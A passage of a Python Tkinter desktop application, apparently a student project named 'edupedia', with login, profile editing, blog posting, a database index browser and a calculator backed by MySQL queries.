Button(inside_frame, text=\"Send recovery mail\", height=1, width=15, bg=\"green\",fg=\"yellow\",font=(\"Comic Sans MS\", 15, \"bold\"),\n activebackground=\"#b2e9f7\",activeforeground=\"#040742\",\n command=lambda: recovery_mail(entry_mail))\n\n label_mail.grid(row=1, column=0, padx=20, pady=20)\n entry_mail.grid(row=1, column=1, padx=20, pady=20)\n button_submit.grid(row=2, column=1, pady=20)\n\n\n# login window\ndef login(frame, user,button_stud,button_inst,button_comp):\n\n button_stud.place_forget()\n button_inst.place_forget()\n button_comp.place_forget()\n\n\n def home(frame):\n inside_frame.place_forget()\n frame.place_forget()\n # button_stud.place(x=540, y=300)\n # button_inst.place(x=540, y=375)\n # button_comp.place(x=540, y=450)\n into()\n\n\n frame.place(x=350,y=200)\n button_back = Button(frame, text=\"X\",width=2,bg=\"red\",fg=\"white\" ,font=(\"Helvetica\", \"12\"),command=lambda: home(frame))\n inside_frame=Frame(frame,bg=\"#b2e9f7\")\n button_back.grid(row=0,column=0,sticky=\"e\")\n inside_frame.grid(row=1,column=0,pady=10,padx=10)\n label_usr = Label(inside_frame, text=\"Enter Username \", bg=\"#b2e9f7\", font=(\"Helvetica\", \"16\"))\n entry_usr = Entry(inside_frame, font=(\"Helvetica\", \"16\"))\n label_pwd = Label(inside_frame, text=\"Enter Password \", bg='#b2e9f7', font=(\"Helvetica\", \"16\"))\n entry_pwd = Entry(inside_frame, show=\"*\", font=(\"Helvetica\", \"16\"))\n v = IntVar(value=0)\n check_pwd = Checkbutton(inside_frame, text=\"show password\", variable=v, onvalue=1, offvalue=0,\n command=lambda: showpsd(v, entry_pwd))\n button_submit = Button(inside_frame, text=\"log-in\", height=1, width=10, bg=\"blue\",fg=\"white\",font=(\"Comic Sans MS\", 15, \"bold\"),\n command=lambda: validate_account(frame, entry_usr, entry_pwd, user),activebackground=\"#b2e9f7\",activeforeground=\"#040742\")\n button_forget = Button(inside_frame, text=\"forgot password\", fg=\"blue\", command=lambda: forget(frame,button_stud,button_inst,button_comp))\n button_create = Button(inside_frame, text=\"Create account\", fg=\"blue\", command=lambda: create_uesr(frame, user,button_stud,button_inst,button_comp))\n\n label_usr.grid(row=1, column=0, padx=10, pady=20)\n entry_usr.grid(row=1, column=1)\n label_pwd.grid(row=2, column=0)\n entry_pwd.grid(row=2, column=1,padx=10)\n check_pwd.grid(row=2, column=2, padx=10)\n button_submit.grid(row=3, column=1, pady=20)\n button_forget.grid(row=3, column=2,padx=10)\n button_create.grid(row=1, column=2)\n\n\ndef showpsd(v, entry_pwd):\n if v.get() == 1:\n entry_pwd.config(show='')\n else:\n entry_pwd.config(show='*')\n\n\ndef profile(frame, username, user):\n\n frame.place_forget()\n\n def update_profile(frame, username, user):\n def save_profile():\n # values enetered by user\n update_value = []\n update_value.append(entry_Name.get())\n update_value.append(entry_email.get())\n update_value.append(entry_phone_number.get())\n update_value.append(entry_address.get())\n if user == \"student\":\n update_value.append(entry_college.get())\n update_value.append(entry_course.get())\n update_value.append(entry_interested_areas.get())\n # respective column name in table\n update_column = [\"name\", \"email\", \"phone_number\", \"address\", \"college\", \"course\", \"interested_areas\"]\n # table name\n table = \"student_profile\"\n elif user == \"institute\":\n update_value.append(entry_courses_offered.get())\n update_column = [\"institute_name\", \"email\", \"phone_number\", \"address\", \"courses_offered\"]\n table = \"institute_profile\"\n\n else:\n update_value.append(entry_services_offered.get())\n update_column = [\"company_name\", \"email\", \"phone_number\", \"address\", \"services_provided\"]\n table = \"company_profile\"\n\n\n try:\n for i in range(len(update_column)):\n if update_value[i] != \"\":\n sql_update_profile = f\"UPDATE {table} SET {update_column[i]} = %s WHERE (username = %s)\"\n value_update_profile = (str(update_value[i]), username)\n edupedia_cursor.execute(sql_update_profile, value_update_profile)\n edupedia.commit()\n messagebox.showinfo(\"Success\", \"Profile updated succesfully\")\n frame_update_profile.place_forget()\n except Exception as error:\n messagebox.showerror(\"Error...!\", f\"{error}\\nPlease contact the administrators\")\n\n def cancel():\n frame_update_profile.place_forget()\n\n frame_update_profile = Frame(center_frame, bg=\"#0572b5\")\n button_back = Button(frame_update_profile, text=\"X\", width=2, bg=\"red\", command=lambda: cancel())\n inside_frame = Frame(frame_update_profile, bg=\"#b2e9f7\",)\n button_back.grid(row=0, column=0, sticky=\"e\")\n inside_frame.grid(row=1, column=0, pady=10, padx=10)\n frame_update_profile.place(x=200, y=50)\n\n label_Name = Label(inside_frame, text=\"Name \", bg=\"#b2e9f7\", font=(\"Helvetica\", \"16\"))\n entry_Name = Entry(inside_frame, font=(\"Helvetica\", \"16\"),width=30)\n label_email = Label(inside_frame, text=\"email \", bg=\"#b2e9f7\", font=(\"Helvetica\", \"16\"))\n entry_email = Entry(inside_frame, font=(\"Helvetica\", \"16\"),width=30)\n label_phone_number = Label(inside_frame, text=\"Phone number \", bg=\"#b2e9f7\", font=(\"Helvetica\", \"16\"))\n entry_phone_number = Entry(inside_frame, font=(\"Helvetica\", \"16\"),width=30)\n label_address = Label(inside_frame, text=\"Address \", bg=\"#b2e9f7\", font=(\"Helvetica\", \"16\"))\n entry_address = Entry(inside_frame, font=(\"Helvetica\", \"16\"),width=30)\n\n button_submit = Button(inside_frame, text=\"save\", height=2, width=15, bg=\"blue\",fg=\"white\",\n command=lambda: save_profile())\n if user == \"student\":\n label_college = Label(inside_frame, text=\"College \", bg=\"#b2e9f7\", font=(\"Helvetica\", \"16\"))\n entry_college = Entry(inside_frame, font=(\"Helvetica\", \"16\"),width=30)\n label_course = Label(inside_frame, text=\"Course \", bg=\"#b2e9f7\", font=(\"Helvetica\", \"16\"))\n entry_course = Entry(inside_frame, font=(\"Helvetica\", \"16\"),width=30)\n label_interested_areas = Label(inside_frame, text=\"Interested areas \", bg=\"#b2e9f7\",\n font=(\"Helvetica\", \"16\"))\n entry_interested_areas = Entry(inside_frame, font=(\"Helvetica\", \"16\"),width=30)\n\n label_college.grid(row=4, column=0, pady=10,sticky=\"w\")\n entry_college.grid(row=4, column=1,sticky=\"e\",padx=10)\n label_course.grid(row=5, column=0,sticky=\"w\")\n entry_course.grid(row=5, column=1,sticky=\"e\",padx=10)\n label_interested_areas.grid(row=6, column=0,pady=10,sticky=\"w\")\n entry_interested_areas.grid(row=6, column=1,sticky=\"e\",padx=10)\n\n elif user == \"institute\":\n label_courses_offered = Label(inside_frame, text=\"Courses Offered \", bg=\"#b2e9f7\",\n font=(\"Helvetica\", \"16\"),)\n entry_courses_offered = Entry(inside_frame, font=(\"Helvetica\", \"16\"),width=30)\n label_courses_offered.grid(row=4, column=0,sticky=\"w\",pady=10)\n entry_courses_offered.grid(row=4, column=1,sticky=\"e\",padx=10)\n else:\n label_services_offered = Label(inside_frame, text=\"Services Providing \", bg=\"#b2e9f7\",\n font=(\"Helvetica\", \"16\"))\n entry_services_offered = Entry(inside_frame, font=(\"Helvetica\", \"16\"),width=30)\n label_services_offered.grid(row=4, column=0,sticky=\"w\",pady=10)\n entry_services_offered.grid(row=4, column=1,sticky=\"e\",padx=10)\n\n label_Name.grid(row=0, column=0, pady=10,sticky=\"w\")\n entry_Name.grid(row=0, column=1,sticky=\"e\",padx=10)\n label_email.grid(row=1, column=0,sticky=\"w\")\n entry_email.grid(row=1, column=1,sticky=\"e\",padx=10)\n label_phone_number.grid(row=2, column=0,pady=10,sticky=\"w\")\n entry_phone_number.grid(row=2, column=1,sticky=\"e\",padx=10)\n label_address.grid(row=3, column=0,sticky=\"w\")\n entry_address.grid(row=3, column=1,sticky=\"e\",padx=10)\n button_submit.grid(row=8, column=1, pady=20)\n def create_blog(frame, username, user):\n\n def submit_create_blog():\n sql_submit_blog = f\"INSERT INTO blogs (username,author_name,category,blog_name,blog,tags) VALUES (%s,%s,%s,%s,%s,%s)\"\n create_blog_values = (\n username, author_name_entry.get(), category_entry.get(), blog_name_entry.get(), blog_text_value,\n tags_entry.get())\n edupedia_cursor.execute(sql_submit_blog, create_blog_values)\n edupedia.commit()\n messagebox.showinfo(\"Success\", \"Your blog has been uploaded succesfully\")\n close(create_blog_frame)\n\n create_blog_frame = Frame(center_frame, width=800, height=550, bg=\"#0572b5\")\n button_back = Button(create_blog_frame,text=\"X\",width=2,bg=\"red\",fg=\"white\" ,font=(\"Helvetica\", \"12\"),command=lambda: close(create_blog_frame))\n inside_frame = Frame(create_blog_frame, bg=\"#b2e9f7\")\n button_back.grid(row=0, column=0, sticky=\"e\")\n inside_frame.grid(row=1, column=0, pady=10, padx=10)\n\n author_name_label = Label(inside_frame, text=\"Author_name\", font=(\"Helvetica\", \"16\"),\n bg=\"#b2e9f7\", anchor=\"nw\", width=15)\n author_name_entry = Entry(inside_frame, font=(\"Helvetica\", \"16\"), width=50)\n category_label = Label(inside_frame, text=\"Category\", font=(\"Helvetica\", \"16\"), bg=\"#b2e9f7\",\n anchor=\"nw\", width=15)\n category_entry = Entry(inside_frame, font=(\"Helvetica\", \"16\"), width=50)\n blog_name_label = Label(inside_frame, text=\"Blog_name\", font=(\"Helvetica\", \"16\"),\n bg=\"#b2e9f7\", anchor=\"nw\", width=15)\n blog_name_entry = Entry(inside_frame, font=(\"Helvetica\", \"16\"), width=50)\n blog_label = Label(inside_frame, text=\"Blog\", font=(\"Helvetica\", \"16\"), bg=\"#b2e9f7\",\n anchor=\"nw\", width=15)\n blog_text = Text(inside_frame, font=(\"Helvetica\", \"16\"), width=50, height=5)\n blog_text_value = blog_text.get(1.0, \"end-1c\")\n tags_label = Label(inside_frame, text=\"Tags\", font=(\"Helvetica\", \"16\"),\n bg=\"#b2e9f7\", anchor=\"nw\", width=15)\n tags_entry = Entry(inside_frame, font=(\"Helvetica\", \"16\"), width=50)\n create_button = Button(inside_frame, text=\"Create\", width=6,bg=\"blue\",fg=\"white\",font=(\"Helvetica\", \"16\"), command=lambda: submit_create_blog())\n\n create_blog_frame.place(x=100, y=20)\n author_name_label.grid(row=2, column=0,pady=10,padx=5)\n author_name_entry.grid(row=2, column=1,sticky=\"e\",padx=10)\n category_label.grid(row=3, column=0, pady=10)\n category_entry.grid(row=3, column=1,sticky=\"e\",padx=10)\n blog_name_label.grid(row=4, column=0)\n blog_name_entry.grid(row=4, column=1,sticky=\"e\",padx=10)\n blog_label.grid(row=5, column=0, pady=10)\n blog_text.grid(row=5, column=1, pady=10)\n tags_label.grid(row=6, column=0)\n tags_entry.grid(row=6, column=1,sticky=\"e\",padx=10)\n create_button.grid(row=8, column=1, pady=10,sticky=\"e\",padx=50)\n\n def view_profile(frame, username, user):\n if user == \"student\":\n table = \"student_profile\"\n elif user == \"institute\":\n table = \"institute_profile\"\n else:\n table = \"company_profile\"\n\n def back():\n frame_view_profile.place_forget()\n\n frame_view_profile = Frame(center_frame, bg=\"#0572b5\")\n button_back = Button(frame_view_profile, text=\"X\", width=2, bg=\"red\", command=lambda: back())\n inside_frame = Frame(frame_view_profile, bg=\"#b2e9f7\")\n button_back.grid(row=0, column=0, sticky=\"e\")\n inside_frame.grid(row=1, column=0, pady=10, padx=10)\n frame_view_profile.pack()\n frame_view_profile.place(x=200, y=50)\n\n try:\n sql = f\"SELECT * FROM {table} where username = %s\"\n val = [f\"{username}\"]\n edupedia_cursor.execute(sql, val)\n profile_values = edupedia_cursor.fetchall()\n\n label_Name = Label(inside_frame, text=\"Name \", bg=\"#b2e9f7\", font=(\"Helvetica\", \"16\"),width=18,anchor=\"nw\")\n show_Name = Label(inside_frame, text=f\": {profile_values[0][1]}\", bg=\"#b2e9f7\", font=(\"Helvetica\", \"16\"),width=25,anchor=\"nw\")\n label_email = Label(inside_frame, text=\"email \", bg=\"#b2e9f7\", font=(\"Helvetica\", \"16\"),width=18,anchor=\"nw\")\n show_email = Label(inside_frame, text=f\": {profile_values[0][3]}\", bg=\"#b2e9f7\", font=(\"Helvetica\", \"16\"),width=25,anchor=\"nw\")\n label_phone_number = Label(inside_frame, text=\"Phone number \", bg=\"#b2e9f7\", font=(\"Helvetica\", \"16\"),width=18,anchor=\"nw\")\n show_phone_number = Label(inside_frame, text=f\": {profile_values[0][4]}\", bg=\"#b2e9f7\",\n font=(\"Helvetica\", \"16\"),width=25,anchor=\"nw\")\n label_address = Label(inside_frame, text=\"Address \", bg=\"#b2e9f7\", font=(\"Helvetica\", \"16\"),width=18,anchor=\"nw\")\n show_address = Label(inside_frame, text=f\": {profile_values[0][5]}\", bg=\"#b2e9f7\", font=(\"Helvetica\", \"16\"),width=25,anchor=\"nw\")\n\n button_back = Button(inside_frame, text=\"back\", height=2, width=15, bg=\"#b2e9f7\",\n command=lambda: back())\n\n if user == \"student\":\n label_college = Label(inside_frame, text=\"College \", bg=\"#b2e9f7\", font=(\"Helvetica\", \"16\"),width=18,anchor=\"nw\")\n show_college = Label(inside_frame, text=f\": {profile_values[0][6]}\", bg=\"#b2e9f7\",\n font=(\"Helvetica\", \"16\"),width=25,anchor=\"nw\")\n label_course = Label(inside_frame, text=\"Course \", bg=\"#b2e9f7\", font=(\"Helvetica\", \"16\"),width=18,anchor=\"nw\")\n show_course = Label(inside_frame, text=f\": {profile_values[0][7]}\", bg=\"#b2e9f7\",\n font=(\"Helvetica\", \"16\"),width=25,anchor=\"nw\")\n label_interested_areas = Label(inside_frame, text=\"Interested areas \", bg=\"#b2e9f7\",\n font=(\"Helvetica\", \"16\"),width=18,anchor=\"nw\")\n show_interested_areas = Label(inside_frame, text=f\": {profile_values[0][8]}\", bg=\"#b2e9f7\",\n font=(\"Helvetica\", \"16\"),width=25,anchor=\"nw\")\n\n label_college.grid(row=4, column=0,sticky=\"w\",pady=10)\n show_college.grid(row=4, column=1,sticky=\"w\",padx=10)\n label_course.grid(row=5, column=0,sticky=\"w\",pady=10)\n show_course.grid(row=5, column=1,sticky=\"w\",padx=10)\n label_interested_areas.grid(row=6, column=0,sticky=\"w\",pady=10)\n show_interested_areas.grid(row=6, column=1,sticky=\"w\",padx=10)\n\n elif user == \"institute\":\n label_courses_offered = Label(inside_frame, text=\"Courses Offered \", bg=\"#b2e9f7\",\n font=(\"Helvetica\", \"16\"),width=18,anchor=\"nw\")\n show_courses_offered = Label(inside_frame, text=f\": {profile_values[0][6]}\", bg=\"#b2e9f7\",\n font=(\"Helvetica\", \"16\"),width=25,anchor=\"nw\")\n label_courses_offered.grid(row=4, column=0,sticky=\"w\",pady=10)\n show_courses_offered.grid(row=4, column=1,sticky=\"w\",padx=10)\n else:\n label_services_offered = Label(inside_frame, text=\"Services Providing \", bg=\"#b2e9f7\",\n font=(\"Helvetica\", \"16\"),width=18,anchor=\"nw\")\n show_services_offered = Label(inside_frame, text=f\": {profile_values[0][6]}\", bg=\"#b2e9f7\",\n font=(\"Helvetica\", \"16\"),width=25,anchor=\"nw\")\n label_services_offered.grid(row=4, column=0,sticky=\"w\",pady=10)\n show_services_offered.grid(row=4, column=1,sticky=\"w\",padx=10)\n\n label_Name.grid(row=0, column=0,sticky=\"w\",pady=10)\n show_Name.grid(row=0, column=1,sticky=\"w\",padx=10)\n label_email.grid(row=1, column=0,sticky=\"w\",pady=10)\n show_email.grid(row=1, column=1,sticky=\"w\",padx=10)\n label_phone_number.grid(row=2, column=0,sticky=\"w\",pady=10)\n show_phone_number.grid(row=2, column=1,sticky=\"w\",padx=10)\n label_address.grid(row=3, column=0,sticky=\"w\",pady=10)\n show_address.grid(row=3, column=1,sticky=\"w\",padx=10)\n\n except Exception as error:\n messagebox.showerror(\"Error...!\", f\"{error}\\nPlease contact the administrators\")\n frame_view_profile.place_forget()\n\n def search_window():\n sercch_frame.place(x=150, y=100)\n\n def close(frame):\n frame.place_forget()\n\n def logout(frame):\n frame.pack_forget()\n into()\n\n # index\n def index():\n # index in profile\n index_frame = Frame(center_frame,bg=\"#0572b5\")\n button_back = Button(index_frame,text=\"X\",width=2,bg=\"red\",fg=\"white\" ,font=(\"Helvetica\", \"12\"),command=lambda:close(index_frame))\n inside_frame = Frame(index_frame, bg=\"#b2e9f7\")\n button_back.grid(row=0, column=0, sticky=\"e\")\n inside_frame.grid(row=1, column=0, pady=10, padx=10)\n\n def goto():\n def show():\n\n close(index_frame)\n\n show_frame = Frame(center_frame, bg=\"#0572b5\")\n result_label = Label(show_frame, text=\"Results\", fg=\"blue\",font=(\"Helvetica\", \"16\"))\n text_widget = Text(show_frame, width=70,height=15, bg='white', pady=20, padx=10,font=(\"Helvetica\", \"16\"))\n scrollbar = Scrollbar(show_frame)\n text_widget.config(yscrollcommand=scrollbar.set)\n scrollbar.config(command=text_widget.yview)\n close_button = Button(show_frame, text=\"X\", bg=\"red\", fg=\"white\", width=2,font=(\"Helvetica\", \"12\"),\n command=lambda: close(show_frame))\n # result_label.grid(row=1, column=0, sticky='w', padx=10)\n close_button.grid(row=0, column=0, sticky='e')\n text_widget.grid(row=2, column=0, sticky='w',padx=10,pady=10)\n scrollbar.grid(row=2, column=0, sticky='e',pady=10)\n show_frame.place(x=50, y=35)\n\n try:\n index_of_item = list_box_index.curselection()\n # getting index results (row values)\n sql_index_search_show = f\"SELECT * FROM {selected_table_index} WHERE {selection} = %s\"\n value_index_search_show = [f\"{list_box_index.get(index_of_item)}\"]\n edupedia_cursor.execute(sql_index_search_show, value_index_search_show)\n result_index_search_show = edupedia_cursor.fetchall()\n # getting colunm details for each row\n sql_index_search_row = f\"show columns from {selected_table_index}\"\n edupedia_cursor.execute(sql_index_search_row)\n result_index_search_column_detail = edupedia_cursor.fetchall()\n # getting colunm name for each row\n columns_names = []\n for column_name in result_index_search_column_detail:\n columns_names.append(column_name[0])\n\n # showing index result\n for i in range(len(columns_names)):\n fact = f\"{columns_names[i].upper()} :\\n \\n {result_index_search_show[0][i]} \\n\\n\\n\"\n text_widget.insert(END, fact)\n except Exception as e:\n show_frame.place_forget()\n index()\n messagebox.showinfo(\"oops\", \"select at least one\")\n\n def back(frame):\n frame.place_forget()\n index()\n\n try:\n index_of_item = list_box_index.curselection()\n if list_box_index.get(index_of_item) == \"blogs\":\n selection = \"blog_name\"\n selected_table_index = \"blogs\"\n elif list_box_index.get(index_of_item) == \"books\":\n selection = \"title\"\n selected_table_index = \"books\"\n elif list_box_index.get(index_of_item) == \"colleges\":\n selection = \"College_Name\"\n selected_table_index = \"colleges\"\n elif list_box_index.get(index_of_item) == \"company_profile\":\n selection = \"company_name\"\n selected_table_index = \"company_profile\"\n elif list_box_index.get(index_of_item) == \"online_courses\":\n selection = \"title\"\n selected_table_index = \"online_courses\"\n\n sql_index_search = f\"select {selection} from {selected_table_index}\"\n edupedia_cursor.execute(sql_index_search)\n result_tables = edupedia_cursor.fetchall()\n list_box_index.delete(0, END)\n for columns_value in result_tables:\n list_box_index.insert(END, columns_value[0])\n\n except Exception as e:\n messagebox.showinfo(\"oops\", \"select at least one\")\n index_frame.place_forget()\n index()\n\n back_button = Button(inside_frame, text=\"Back\", fg=\"blue\", bg=\"white\",font=(\"Helvetica\", \"12\"),\n command=lambda: back(index_frame))\n back_button.grid(row=2, column=0, sticky='e', padx=100)\n show_button = Button(inside_frame, text=\"Show \", bg='blue', fg='white',font=(\"Helvetica\", \"12\"), command=lambda: show())\n goto_button.grid_forget()\n show_button.grid(row=2, column=0, pady=10, sticky='e', padx=20)\n\n def sort_reverse():\n data = list(list_box_index.get(0, END))\n\n def sort_true():\n list_box_index.delete(0, END)\n data.sort()\n for values in data:\n list_box_index.insert(END, values)\n sort_button = Button(inside_frame, text=\"A-Z\", bg=\"light green\",fg=\"blue\",font=(\"Helvetica\", \"8\"), command=lambda: sort_reverse())\n sort_button.grid(row=0, column=0, pady=10, sticky='w',padx=10)\n\n list_box_index.delete(0, END)\n data.sort(reverse=True)\n for values in data:\n list_box_index.insert(END, values)\n sort_button = Button(inside_frame, text=\"Z-A\", bg=\"light green\",fg=\"blue\",font=(\"Helvetica\", \"8\"), command=lambda: sort_true())\n sort_button.grid(row=0, column=0, pady=10, sticky='w',padx=10)\n\n index_frame.place(x=600,y=20)\n tables_index = [\"blogs\", \"books\", \"colleges\", \"company_profile\", \"online_courses\"]\n tables_index.sort()\n\n sort_button = Button(inside_frame, text=\"Z-A\", bg=\"light green\",fg=\"blue\",font=(\"Helvetica\", \"8\"), command=lambda: sort_reverse())\n list_box_index = Listbox(inside_frame, width=32, height=10,font=(\"Helvetica\", \"16\"))\n scrollbar_index = Scrollbar(inside_frame)\n list_box_index.delete(0, END)\n for values in tables_index:\n list_box_index.insert(END, values)\n\n goto_button = Button(inside_frame, text=\"Go to\", bg='blue', font=(\"Helvetica\", \"12\"),fg='white', command=lambda: goto())\n\n sort_button.grid(row=0, column=0, pady=10, sticky='w',padx=10)\n list_box_index.grid(row=1, column=0, sticky='w', padx=10)\n scrollbar_index.grid(row=1, column=0, sticky='e')\n list_box_index.config(yscrollcommand=scrollbar_index.set)\n scrollbar_index.config(command=list_box_index.yview)\n goto_button.grid(row=2, column=0, pady=10, sticky='e', padx=40)\n\n # calculator\n\n def calculator(fra):\n\n base_frame = Frame(center_frame, width=340, height=530, bg=\"#0572b5\")\n base_frame.place(x=600, y=10)\n frame = Frame(base_frame, width=320, height=480,bg=\"#b2e9f7\")\n frame.place(x=10, y=40)\n\n # label\n\n lb = Label(frame, height=2, width=16, text='', bg='white', fg='black', anchor=\"se\",\n font=(\"Times\", 24, \"italic bold\"))\n lb.place(x=11, y=10, )\n\n # number button click action add\n\n opvalue = 0\n oldvalue = ''\n newvalue = ''\n eqe = \"\"\n\n dot_button_clicked = False\n\n def button1_clicked(value):\n global eqe\n eqe += value\n lb.config(text=eqe)\n\n def button2_clicked(value):\n global eqe\n eqe += value\n lb.config(text=eqe)\n\n def button3_clicked(value):\n global eqe\n eqe += value\n lb.config(text=eqe)\n\n def button4_clicked(value):\n global eqe\n eqe += value\n lb.config(text=eqe)\n\n def button5_clicked(value):\n global eqe\n eqe += value\n lb.config(text=eqe)\n\n def button6_clicked(value):\n global eqe\n eqe += value\n lb.config(text=eqe)\n\n def button7_clicked(value):\n global eqe\n eqe += value\n lb.config(text=eqe)\n\n def button8_clicked(value):\n global eqe\n eqe += value\n lb.config(text=eqe)\n\n def button9_clicked(value):\n global eqe\n eqe += value\n lb.config(text=eqe)\n\n def button0_clicked(value):\n global eqe\n eqe += value\n lb.config(text=eqe)\n\n def buttondot_clicked(value):\n global eqe\n eqe += value\n lb.config(text=eqe)\n\n # control button click action\n\n def buttonce_clicked():\n global eqe\n eqe = ''\n\n lb.config(text=eqe)\n\n def buttonc_clicked():\n global oldvalue\n global newvalue\n global opvalue\n global eqe\n\n oldvalue = ''\n newvalue = ''\n opvalue = 0\n eqe = ''\n lb.config(text=eqe)\n\n def buttonX_clicked():\n global eqe\n eqe = ''\n num = lb['text']\n cout = 1\n for i in num:\n if cout < len(num):\n eqe += i\n cout += 1\n\n else:\n break\n lb.config(text=eqe)\n\n # operator button click action\n\n def add_but_clicked():\n global oldvalue\n global eqe\n global opvalue\n check = len(lb['text'])\n\n if check == 0:\n eqe = ''\n lb.config(text=eqe)\n opvalue = 0\n else:\n eqe = ''\n oldvalue = lb['text']\n lb.config(text=eqe)\n opvalue = 1\n\n def sub_but_clicked():\n global oldvalue\n global eqe\n global opvalue\n check = len(lb['text'])\n\n if check == 0:\n eqe = ''\n lb.config(text=eqe)\n opvalue = 0\n else:\n eqe = ''\n oldvalue = lb['text']\n lb.config(text=eqe)\n opvalue = 2\n\n def mult_but_clicked():\n global oldvalue\n global eqe\n global opvalue\n check = len(lb['text'])\n\n if check == 0:\n eqe = ''\n lb.config(text=eqe)\n opvalue = 0\n else:\n eqe = ''\n oldvalue = lb['text']\n lb.config(text=eqe)\n opvalue = 3\n\n def div_but_clicked():\n global oldvalue\n global opvalue\n global eqe\n check = len(lb['text'])\n\n if check == 0:\n eqe = ''\n lb.config(text=eqe)\n opvalue = 0\n else:\n eqe = ''\n oldvalue = lb['text']\n lb.config(text=eqe)\n opvalue = 4\n\n def equal_button_clicked():\n global opvalue\n global oldvalue\n global newvalue\n newvalue = lb['text']\n\n if opvalue == 1:\n\n resuil = float(oldvalue) + float(newvalue)\n resuil = str(resuil)\n lb.config(text=resuil)\n opvalue = 0\n\n\n elif opvalue == 2:\n resuil = float(oldvalue) - float(newvalue)\n resuil = str(resuil)\n lb.config(text=resuil)\n opvalue = 0\n\n elif opvalue == 3:\n resuil = float(oldvalue) * float(newvalue)\n resuil = str(resuil)\n lb.config(text=resuil)\n opvalue = 0\n\n elif opvalue == 4:\n resuil = float(oldvalue) / float(newvalue)\n resuil = str(resuil)\n lb.config(text=resuil)\n opvalue = 0\n else:\n initial = lb['text']\n lb.config(text=initial)\n\n # control buttons\n\n buttce = Button(frame, text='CE', bg='#fc475f', width=3, height=1, activebackground='red',\n command=lambda: buttonce_clicked(), font=(\"Times\", 25, \"italic bold\"))\n buttce.place(x=10, y=110)\n buttc = Button(frame, text='C', bg='#fc475f', width=3, height=1, activebackground='red',\n command=lambda: buttonc_clicked(), font=(\"Times\", 25, \"italic bold\"))\n buttc.place(x=80, y=110)\n buttx = Button(frame, text='X', bg='#fc475f', width=3, height=1, activebackground='red',\n command=lambda: buttonX_clicked(), font=(\"Times\", 25, \"italic bold\"))\n buttx.place(x=150, y=110)\n\n # number buttons\n\n butt7 = Button(frame, text='7', bg='gray', width=3, height=1, activebackground='#62bce3',\n command=lambda: button7_clicked('7'), font=(\"Times\", 25, \"italic bold\"))\n butt7.place(x=10, y=190)\n butt8 = Button(frame, text='8', bg='gray', width=3, height=1, activebackground='#62bce3',\n command=lambda: button8_clicked('8'), font=(\"Times\", 25, \"italic bold\"))\n butt8.place(x=80, y=190)\n butt9 = Button(frame, text='9', bg='gray', width=3, height=1, activebackground='#62bce3',\n command=lambda: button9_clicked('9'), font=(\"Times\", 25, \"italic bold\"))\n butt9.place(x=150, y=190)\n butt4 = Button(frame, text='4', bg='gray', width=3, height=1, activebackground='#62bce3',\n command=lambda: button4_clicked('4'), font=(\"Times\", 25, \"italic bold\"))\n butt4.place(x=10, y=260)\n butt5 = Button(frame, text='5', bg='gray', width=3, height=1, activebackground='#62bce3',\n command=lambda: button5_clicked('5'), font=(\"Times\", 25, \"italic bold\"))\n butt5.place(x=80, y=260)\n butt6 = Button(frame, text='6', bg='gray', width=3, height=1, activebackground='#62bce3',\n command=lambda: button6_clicked('6'), font=(\"Times\", 25, \"italic bold\"))\n butt6.place(x=150, y=260)\n butt1 = Button(frame, text='1', bg='gray', width=3, height=1, activebackground='#62bce3',\n command=lambda: button1_clicked('1'), font=(\"Times\", 25, \"italic bold\"))\n butt1.place(x=10, y=330)\n butt2 = Button(frame, text='2', bg='gray', width=3, height=1, activebackground='#62bce3',\n command=lambda: button2_clicked('2'), font=(\"Times\", 25, \"italic bold\"))\n butt2.place(x=80, y=330)\n butt3 = Button(frame, text='3', bg='gray', width=3, height=1, activebackground='#62bce3',\n command=lambda: button3_clicked('3'), font=(\"Times\", 25, \"italic bold\"))\n butt3.place(x=150, y=330)\n butt0 = Button(frame, text='0', bg='gray', width=3, height=1, activebackground='#62bce3',\n command=lambda: button0_clicked('0'), font=(\"Times\", 25, \"italic bold\"))\n butt0.place(x=10, y=400)\n butt_dot = Button(frame, text='.', bg='gray', width=3, height=1, activebackground='#62bce3',\n command=lambda: buttondot_clicked('.'), font=(\"Times\", 25, \"italic bold\"))\n butt_dot.place(x=80, y=400)\n\n # operator buttons\n\n butt_equal = Button(frame, text='=', bg='#5bf0a5', width=8, height=1, activebackground='white',\n command=lambda: equal_button_clicked(), font=(\"Times\", 25, \"italic bold\"))\n butt_equal.place(x=150, y=400)\n butt_div = Button(frame, text='/', bg='#695cab', width=4, height=1, activebackground='green',\n command=lambda: div_but_clicked(), font=(\"Times\", 24, \"italic bold\"))\n butt_div.place(x=227, y=110)\n butt_mult = Button(frame, text='*', bg='#695cab', width=4, height=1, activebackground='green',\n command=lambda: mult_but_clicked(), font=(\"Times\", 24, \"italic bold\"))\n butt_mult.place(x=227, y=190)\n butt_sub = Button(frame, text='-', bg='#695cab', width=4, height=1, activebackground='green',\n command=lambda: sub_but_clicked(), font=(\"Times\", 24, \"italic bold\"))\n butt_sub.place(x=227, y=260)\n butt_add = Button(frame, text='+', bg='#695cab', width=4, height=1, activebackground='green',\n command=lambda: add_but_clicked(), font=(\"Times\", 24, \"italic bold\"))\n butt_add.place(x=227, y=330)\n\n close_button = Button(base_frame, text=\"X\", bg='red', fg=\"white\",width=3, command=lambda: close(base_frame))\n close_button.place(x=310,y=0)\n\n # inside frame\n frame = Frame(label_main, width=1280, height=700,bg=\"#115e5d\")\n frame.pack()\n top_frame = Frame(frame, width=1280, height=80, bg='#069c99')\n left_frame = Frame(frame, width=220, height=620, bg=\"#041924\")\n top_icons = Frame(frame, width=1060, bg='#115e5d', height=40, padx=25)\n center_frame = Frame(frame, width=1060, height=580, bg=\"light blue\")\n\n\n # top\n\n logo_canvas = Canvas(top_frame, height=60, width=60, )\n img_small_logo= Image.open(\"resources/small_logo.jpg\")\n img_small_logo = ImageTk.PhotoImage(img_small_logo)\n logo_canvas.create_image(0, 0, image=img_small_logo, anchor='nw')\n\n button_logout = Button(top_frame, bg=\"blue\",fg=\"white\",text=\"log-out\", font=(\"Comic Sans MS\", 12, \"bold\"), width=6, height=1,\n command=lambda: logout(frame))\n\n def show_favourite(frame, username):\n\n def go_favorite():\n index_of_favorite = list_box_favorie.curselection()\n favourite_search = list_box_favorie.get(index_of_favorite)\n frame_favorite.place_forget()\n seacrh_result(favourite_search, frame_favorite)\n\n frame_favorite = Frame(frame, height=200, width=800,bg=\"#0572b5\")\n frame_favorite.place(x=350, y=200)\n button_back = Button(frame_favorite,text=\"X\",width=2,bg=\"red\",fg=\"white\" ,font=(\"Helvetica\", \"12\"),command=lambda: close(frame_favorite))\n inside_frame = Frame(frame_favorite, 